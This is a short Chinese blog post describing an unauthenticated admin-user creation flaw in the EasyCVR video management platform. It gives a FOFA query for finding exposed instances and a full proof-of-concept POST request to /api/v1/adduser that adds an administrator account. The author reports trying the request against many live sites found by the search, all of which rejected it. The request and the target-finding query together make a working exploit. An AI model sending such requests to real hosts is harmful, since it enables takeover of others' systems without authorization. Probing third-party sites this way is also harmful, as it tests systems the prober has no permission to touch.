漏洞描述
攻击者可以通过发送特定的POST请求，利用未授权访问的接口'/api/v1/adduser'，在系统中添加任意用户，并将其设置为管理员角色。
fofa
app="EasyCVR-视频管理平台"
poc
password为md5加密
POST /api/v1/adduser HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
漏洞复现
fofa中搜索资产，共有493条数据匹配
访问目标网站进行抓包
构造数据包之后，返回的内容是没有权限操作，目标做了鉴权或者系统为最新版本，已无该漏洞
一连找了好多个站点，均返回没有权限操作
标签：视频,adduser,xxx,EasyCVR,漏洞,添加 From： https://www.cnblogs.com/LeouMaster/p/18212927